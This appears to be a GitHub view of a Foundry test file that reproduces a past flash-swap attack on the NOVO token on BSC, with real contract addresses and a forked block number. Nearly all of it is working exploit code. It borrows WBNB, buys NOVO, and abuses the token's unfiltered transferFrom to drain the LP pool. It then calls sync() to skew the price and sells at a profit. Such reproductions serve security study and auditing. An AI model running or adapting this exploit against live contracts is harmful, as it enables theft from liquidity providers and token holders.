-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Novo_exp.sol
90 lines (70 loc) · 4.23 KB
/
Novo_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// Exploit Alert ref: https://www.panewslab.com/zh_hk/articledetails/f40t9xb4.html
// Origin Attack Transaction: 0xc346adf14e5082e6df5aeae650f3d7f606d7e08247c2b856510766b4dfcdc57f
// Blocksec Txinfo: https://versatile.blocksecteam.com/tx/bsc/0xc346adf14e5082e6df5aeae650f3d7f606d7e08247c2b856510766b4dfcdc57f
// Attack Addr: 0x31a7cc04987520cefacd46f734943a105b29186e
// Attack Contract: 0x3463a663de4ccc59c8b21190f81027096f18cf2a
// Vulnerable Contract: https://bscscan.com/address/0xa0787daad6062349f63b7c228cbfd5d8a3db08f1#code
interface INOVOLP {
function sync() external;
}
contract ContractTest is Test {
IPancakePair PancakePair = IPancakePair(0xEeBc161437FA948AAb99383142564160c92D2974);
IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
INOVO novo = INOVO(0x6Fb2020C236BBD5a7DDEb07E14c9298642253333);
INOVOLP novoLP = INOVOLP(0x128cd0Ae1a0aE7e67419111714155E1B1c6B2D8D);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 18_225_002); //fork bsc at block number 18225002
}
function testExploit() public {
wbnb.deposit{value: 10 * 1e18}();
emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", wbnb.balanceOf(address(this)), 18);
// Brrow 17.2 WBNB
bytes memory data = abi.encode(0xEeBc161437FA948AAb99383142564160c92D2974, 172 * 1e17);
PancakePair.swap(0, 172 * 1e17, address(this), data);
emit log_named_decimal_uint("[End] After repay, WBNB balance of attacker", wbnb.balanceOf(address(this)), 18);
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
// 攻擊者先買入 NOVO Token
// 透過 NOVO Token 的 transferFrom 未過濾 `from`
// `from` 指定為 NOVO/WBNB 的 LP pool, 即可操縱 PancakeSwap NOVO/WBNB 的價格
// 攻擊者再賣出 flashswap 借來的 NOVO Token 即可獲利
address[] memory path = new address[](2);
emit log_named_decimal_uint("[*] Attacker flashswap Borrow WBNB", amount1, 18);
// Use borrow WBNB to swap some NOVO token
emit log_string("[*] Attacker going swap some NOVO...");
wbnb.approve(address(PancakeRouter), type(uint256).max);
path[0] = address(wbnb);
path[1] = address(novo);
PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
172 * 1e17, 1, path, address(this), block.timestamp
); // get 4,749,070,146,640,911 NOVO Token
require(novo.balanceOf(address(this)) != 0, "Swap Failed");
// Sync NOVO token balance before exploit
emit log_named_decimal_uint("\t[INFO] Attacker NOVO balance", novo.balanceOf(address(this)), 9);
emit log_named_decimal_uint("\t[INFO] PancakeSwap NOVO/WBNB LP balance", novo.balanceOf(address(novoLP)), 9);
// Manipulate the LP of NOVO/WBNB => Manipulate the NOVO/WBNB price
emit log_string("[E] Attacker going manipulate NOVO/WBNB LP...");
novo.transferFrom(address(novoLP), address(novo), 113_951_614_762_384_370); // 113,951,614.76238437 NOVO Token
emit log_named_decimal_uint("\t[INFO] PancakeSwap NOVO/WBNB LP balance", novo.balanceOf(address(novoLP)), 9);
// Sync NOVO/WBNB price
novoLP.sync();
// Swap NOVO to WBNB, make attacker profit
emit log_string("[*] Attacker going swap some WBNB...");
novo.approve(address(PancakePair), novo.balanceOf(address(this)));
path[0] = address(novo);
path[1] = address(wbnb);
PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
novo.balanceOf(address(this)), 1, path, address(this), block.timestamp
);
require(wbnb.balanceOf(address(this)) > 172 * 1e17, "Exploit Failed");
// Payback the flashswap, will be `BorrowAmount` + 0.25% fee
require(wbnb.transfer(address(PancakePair), amount1 + 4472 * 10e13), "Payback Failed");
}
receive() external payable {}
}